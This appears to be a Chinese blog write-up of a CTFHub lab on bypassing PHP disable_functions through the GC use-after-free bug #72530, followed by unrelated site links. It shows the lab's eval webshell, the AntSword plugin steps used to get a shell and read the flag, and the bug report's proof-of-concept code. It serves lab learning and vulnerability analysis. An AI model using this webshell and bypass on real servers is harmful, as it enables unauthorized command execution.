当前位置: 首页 > news >正文

CTFHub Web进阶-PHP:Bypass_disable_function通关5之GC UAF

目录

一、GC UAF渗透实战

1、打开靶场

2、源码分析

3、蚁剑直接连接

4、虚拟终端

5、蚁剑工具-disable function

(1)disable function插件

(2)Fastcgi/GC UAF插件

(3)获取flag

二、原理分析

1、题目附件

2、PHP Bug #72530简介

3、原理详解


本文详细讲解CTFHub的Web进阶中disable-functions的GC UAF关卡的渗透全流程。通过构造特定PHP对象触发GC机制缺陷,在析构函数执行时引发use-after-free条件,从而突破安全防护。实战部分演示了使用蚁剑工具连接靶场、分析源码、通过GCUAF插件绕过限制并获取flag的过程。原理分析部分详细解释了风险成因:GC在处理含特殊析构函数的对象时引用计数判断错误,导致内存释放后仍被访问。该风险存在于PHP5.6-7.x版本,虽已修复但仍具研究价值,展示了PHP内部机制的安全风险。

一、GC UAF渗透实战

打开“GC UAF”关卡,页面提示“理论上PHP本地代码执行都可以用来 Bypass disable_function, 比如 GC UAF”,如下所示。

特别注意:本关卡还附带了题目附件,我们将在第二部分讲解。

1、打开靶场

http://challenge-a35e1fca39dded9d.sandbox.ctfhub.com:10800/

2、源码分析

这道CTF题目考察利用PHP垃圾回收机制中的UAFUse-After-Free Bug #72530)来绕过disable_function限制。题目通过eval函数提供代码执行入口,但关键系统函数已被禁用。攻击原理是精心构造PHP对象利用垃圾回收机制的缺陷,在特定析构函数执行时触发use-after-free条件,通过内存破坏实现权限提升。它允许攻击者在PHP进程内存中执行任意代码,从而绕过函数禁用限制,最终获得系统命令执行能力。这是典型的PHP内部机制利用,不依赖外部程序而直接突破PHP自身的安全防护。

CTFHub Bypass disable_function —— GC UAF
本环境来源于AntSword-Labs
参考链接:
•	Bug #72530 Use after free in GC with Certain Destructors
<!DOCTYPE html>
<html>
<head><title>CTFHub Bypass disable_function —— GC UAF</title>
</head>
<body>
<h1>CTFHub Bypass disable_function —— GC UAF</h1>
<p>本环境来源于<a href="https://github.com/AntSwordProject/AntSword-Labs">AntSword-Labs</a></p>
<p>参考链接:</p>
<ul><li><a href="https://bugs.php.net/bug.php?id=72530" target="_blank">Bug #72530 Use after free in GC with Certain Destructors</a></li>
</ul>
</body>
</html>
<?php
@eval($_REQUEST['ant']);
show_source(__FILE__);
?>

3、蚁剑直接连接

http://challenge-a35e1fca39dded9d.sandbox.ctfhub.com:10800/ 密码ant

4、虚拟终端

进入虚拟终端执行ls和dir命令,如下所示,命令执行失败。

5、蚁剑工具-disable function

(1)disable function插件

我们通过蚁剑工具的disable function插件绕过服务器的限制,具体操作步骤如下所示。

(2)Fastcgi/GC UAF插件

插件选择 Fastcgi/GC UAF模式,如下所示点击开始。

点击开始后弹出新的虚拟终端,具体如下所示。

(3)获取flag

在新的终端中输入ls /、cat /readflag和tac /flag命令成功获取到flag,如下所示。

二、原理分析

1、题目附件

URL地址链接:PHP :: Bug #72530 :: Use After Free in GC with Certain Destructors

https://bugs.php.net/bug.php?id=72530
Bug #72530	Use After Free in GC with Certain Destructors
Submitted:	2016-07-01 16:26 UTC	Modified:	2020-02-13 12:01 UTC	
Votes:	6
Avg. Score:	4.3 ± 0.7
Reproduced:	4 of 4 (100.0%)
Same Version:	0 (0.0%)
Same OS:	0 (0.0%)
From:	taoguangchen at icloud dot com	Assigned:	dmitry (profile)
Status:	Closed	Package:	*General Issues
PHP Version:	5.6.29	OS:	
Private report:	No	CVE-ID:	None
ViewDeveloperEdit[2016-07-01 16:26 UTC] taoguangchen at icloud dot com
Description:
------------
Use After Free in unserialize() with GCPoC:
```
$poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}';
$out = unserialize($poc);
gc_collect_cycles();
$fakezval = ptr2str(1122334455);
$fakezval .= ptr2str(0);
$fakezval .= "\x00\x00\x00\x00";
$fakezval .= "\x01";
$fakezval .= "\x00";
$fakezval .= "\x00\x00";
for ($i = 0; $i < 5; $i++) {$v[$i] = $fakezval.$i;
}
var_dump($out[2]);class ryat
{var $ryat;var $chtg;function __destruct(){$this->chtg = $this->ryat;}
}function ptr2str($ptr)
{$out = '';for ($i = 0; $i < 8; $i++) {$out .= chr($ptr & 0xff);$ptr >>= 8;}return $out;
}
```Expected result:
```
int(2)
```Actual result:
```
array(1) {[0]=>int(1122334455)
}
```Fix (This fix may break some test scripts):
```
"R:" iv ";"		{...*rval = *rval_ref;
+	if (Z_REFCOUNT_PP(rval_ref) == 1) {
+		Z_ADDREF_PP(rval_ref);
+	}Z_ADDREF_PP(rval);Z_SET_ISREF_PP(rval);
```Patches
alfa (last revision 2019-11-09 17:22 UTC by asdaaa at gmail dot com)
Pull Requests
Pull requests:
Fix handling of destructors during GC (php-src/4489)
History
AllCommentsChangesGit/SVN commitsRelated reports[2016-07-02 01:09 UTC] taoguangchen at icloud dot com
update fix, and fix other bugs:
```var_push_dtor_no_addref(var_hash, rval);}*rval = *rval_ref;
+	Z_ADDREF_PP(rval_ref);
+	if (Z_REFCOUNT_PP(rval) > 1) {
+		SEPARATE_ZVAL_IF_NOT_REF(rval);
+	}Z_ADDREF_PP(rval);Z_SET_ISREF_PP(rval);
```[2016-07-02 08:19 UTC] stas@php.net
-Type: Security
+Type: Bug
-PHP Version: 5.5.37
+PHP Version: 5.6.23[2016-07-02 08:19 UTC] stas@php.net
I don't think this qualifies as security issue - since you need specially crafter destructor.[2017-01-01 18:47 UTC] nikic@php.net
In PHP 7.0+ this results in:array(1) {[0]=>object(ryat)#1 (2) {["ryat"]=>array(1) {[0]=>*RECURSION*}["chtg"]=>&array(1) {[0]=>*RECURSION*}}
}I believe this output is correct, as the following code (to which the unserialize should roughly correspond) has the same output:$a = [];
$a[0] = 1;
$o = new ryat;
$o->ryat =& $a[1];
$o->chtg = 2;
$a[1] = [$o];
unset($a[1]);
$a[1] = 3;
$a[2] =& $o->chtg;
unset($o);
gc_collect_cycles();
var_dump($a[2]);This also shows that the issue is not related to unserialize(), but rather to GC with certain destructors. The GC problem has been fixed in 7.0 (and won't be fixed in 5.6), so closing here.[2017-01-01 18:47 UTC] nikic@php.net
-Status: Open
+Status: Closed
-Assigned To:
+Assigned To: nikic[2017-01-02 06:56 UTC] taoguangchen at icloud dot com
-Status: Closed
+Status: Assigned
-PHP Version: 5.6.23
+PHP Version: 5.6.29[2017-01-02 06:56 UTC] taoguangchen at icloud dot com
@nikicUnfortunately, the bug was still unfixed in PHP 7.x, you can test the following code:
```
$poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}';
$out = unserialize($poc);
gc_collect_cycles();
for ($i = 0; $i < 5; $i++) {$v[$i] = 'hi'.$i;
}
var_dump($out[2]);class ryat
{var $ryat;var $chtg;function __destruct(){$this->chtg = $this->ryat;$this->ryat = 1;}
}
```[2017-01-02 07:03 UTC] taoguangchen at icloud dot com
-Summary: Use After Free in unserialize() with GC
+Summary: Use After Free in GC with Certain Destructors[2017-01-02 07:03 UTC] taoguangchen at icloud dot com
The bug is related to GC with certain destructors, but trigged easily via unserialize().[2017-01-02 12:13 UTC] nikic@php.net
-Status: Assigned
+Status: Open[2017-01-02 12:13 UTC] nikic@php.net
Right, issue not fully fixed :( Here's a reduced testcase without unserialize (generates memory errors under valgrind):<?phpclass ryat {var $ryat;var $chtg;function __destruct() {$this->chtg = $this->ryat;$this->ryat = 1;}
}$o = new ryat;
$o->ryat = $o;
$x =& $o->chtg;unset($o);
gc_collect_cycles();
var_dump($x);The problem is that the GC uses refcount to check whether a new reference has been added during destruction. However, in this case refcount of object(ryat) stays the same, while a reference to it still becomes externally visible.[2017-01-09 20:47 UTC] nikic@php.net
-Assigned To: nikic
+Assigned To: dmitry[2017-01-09 20:47 UTC] nikic@php.net
@dmitry: Can you please take a look at this issue? The GC code for dealing with references added during __destruct() is not entirely correct, even in PHP 7, because the refcount check is insufficient to detect new outside reference. I don't see any simple fix for this problem :/[2017-06-23 08:58 UTC] nikic@php.net
Related To: Bug #74802[2017-07-03 09:29 UTC] bwoebi@php.net
Related To: Bug #74845[2017-07-03 15:44 UTC] nikic@php.net
Related To: Bug #74804[2017-08-12 19:06 UTC] nikic@php.net
Related To: Bug #74702[2018-08-14 14:49 UTC] cmb@php.net
Related To: Bug #72873[2019-08-01 11:02 UTC] nikic@php.net
The following pull request has been associated:Patch Name: Fix handling of destructors during GC
On GitHub:  https://github.com/php/php-src/pull/4489
Patch:      https://github.com/php/php-src/pull/4489.patch[2019-08-13 12:54 UTC] nikic@php.net
Automatic comment on behalf of nikita.ppv@gmail.com
Revision: http://git.php.net/?p=php-src.git;a=commit;h=60a7e60b61b8e4a3d455974c83f76a26546ce117
Log: Fixed bug #72530[2019-08-13 12:54 UTC] nikic@php.net
-Status: Assigned
+Status: Closed[2019-08-13 12:55 UTC] nikic@php.net
Automatic comment on behalf of nikita.ppv@gmail.com
Revision: http://git.php.net/?p=php-src.git;a=commit;h=60a7e60b61b8e4a3d455974c83f76a26546ce117
Log: Fixed bug #72530[2019-10-06 07:45 UTC] alexanderpas at gmail dot com
This bug is publicly referenced as the cause in the following exploit bypassing disable_functions()https://github.com/mm0r1/exploits/tree/master/php7-gc-bypass[2019-11-09 17:22 UTC] asdaaa at gmail dot com
The following patch has been added/updated:Patch Name: alfa
Revision:   1573320152
URL:        https://bugs.php.net/patch-display.php?bug=72530&patch=alfa&revision=1573320152[2020-02-13 11:57 UTC] ben at redsnapper dot net
Why is there no CVE attached to this?
disable_functions is a complete waste of time until this is patched.[2020-02-13 12:01 UTC] nikic@php.net
-Block user comment: No
+Block user comment: Yes[2020-02-13 12:01 UTC] nikic@php.net
@ben at redsnapper dot net: This issue has already been fixed a few months ago. There is no CVE, because this issue cannot be exploited remotely.

2、PHP Bug #72530简介

PHP Bug #72530 是一个存在于 PHP 垃圾回收(GC)机制中的 “释放后使用(Use After Free)” ,主要与特定析构函数(Destructor)的交互有关,可能导致内存 corruption 或安全风险。该风险的生命周期从 2016 年报告到 2019 年修复,涉及多个 PHP 版本,且在修复后仍引发关于安全评级(如 CVE 分配)的讨论。

字段详情
Bug ID#72530
标题Use After Free in GC with Certain Destructors(GC 中特定析构函数导致的释放后使用)
报告时间2016 年 7 月 1 日
修复时间2019 年 8 月 13 日
状态已关闭(Closed)
影响版本初始影响 PHP 5.6.23/29,后续确认影响 PHP 7.x(未完全修复)
CVE 编号无(官方认为无法远程利用,未分配 CVE)
复现率4/4(100% 复现)
平均评分4.3 ± 0.7(满分 5 分,评分较高,说明影响较显著)

3、原理详解

核心是 GC 在处理含特定析构函数的对象时,引用计数判断错误,导致已释放的内存被再次访问,具体流程如下:

  • 构造循环引用与引用关联:通过 unserialize() 或手动代码创建特殊数据结构(如对象引用自身、数组引用对象属性),形成复杂的引用关系。
    • 示例:报告中的 ryat 类析构函数会修改自身属性引用($this->chtg = $this->ryat),打破正常引用计数逻辑。
  • 触发 GC 回收:通过 unset() 销毁变量或调用 gc_collect_cycles() 手动触发 GC,GC 会标记 “引用计数归 0” 的内存块并释放。
  • 引用计数判断失效:GC 依赖 “引用计数是否变化” 判断内存是否被外部引用,但风险场景中,析构函数修改引用后,内存的引用计数未发生预期变化,导致 GC 误判 “内存已无外部引用” 并释放,而实际仍有变量(如外部引用的 $x)指向该内存。
  • 释放后使用:后续代码访问该 “已释放但仍被引用” 的内存(如 var_dump($out[2])),触发 “释放后使用”,读取到无效数据(如伪造的内存内容)或导致内存 corruption。
http://www.dtcms.com/a/577356.html

相关文章:

  • Jmeter+Maven+jenkins+eclipse 搭建自动化测试平台
  • Cursor 2.0:让 AI 编码更快、更协同的全新平台
  • 兰州网站建设推荐q479185700顶你本地视频做成链接网址
  • Flutter for HarmonyOS 开发指南(一):环境搭建与项目创建
  • Flutter 如何使用fvm进行多项目sdk管理
  • 【Git】-- Rebase 减少 Commit 次数指南
  • 北京网站设计培训学校cn 域名网站
  • 广州广州网站建设公司阿里云网站模板
  • SpringBoot教程(三十二)| SpringBoot集成Sentinel
  • RAGFlow与Dify知识库:对比选型与技术落地解析
  • 广告拦截双选指南:uBlock Origin 与「广告拦截器」
  • 神经网络组植物分类学习 - 阶段学习规划14
  • 张家界市住房和城乡建设局网站WordPress加速优化方案
  • 晶晨S905X芯片_通刷固件包_ATV 安卓9.0_IPV6_中文线刷固件包
  • 战神引擎传奇手游【1.76盛战传奇免授权版[摸摸登陆器]】最新整理Win系复古服务端+安卓苹果双端+GM授权物品后台+详细搭建教程
  • npm因为在此系统上禁止运行脚本
  • Eclipse 运行配置详解
  • Linux NAND闪存存储系统全面解析:从原理到实践
  • 现代C++零基础到工程实战
  • 做网站的软件初中生长丰县重点工程建设管理局网站
  • 商城网站开发的完整流程wordpress清楚所有评论
  • Spring Boot中使用 MDC实现请求TraceId全链路透传
  • Spring + Spring Boot + Spring Cloud 常见面试题清单
  • 对接大疆上云api---实现直播效果
  • ffmpeg学习记录
  • 建站网站破解版什么是网站建设需求分析
  • Lua 面向对象编程完全指南:从元表到私密性,解锁灵活封装技巧
  • linux用户及权限管理
  • 北京手机网站建设外包WordPress里面自定义功能
  • 网站建设怎么更改图片网站服务器建设合同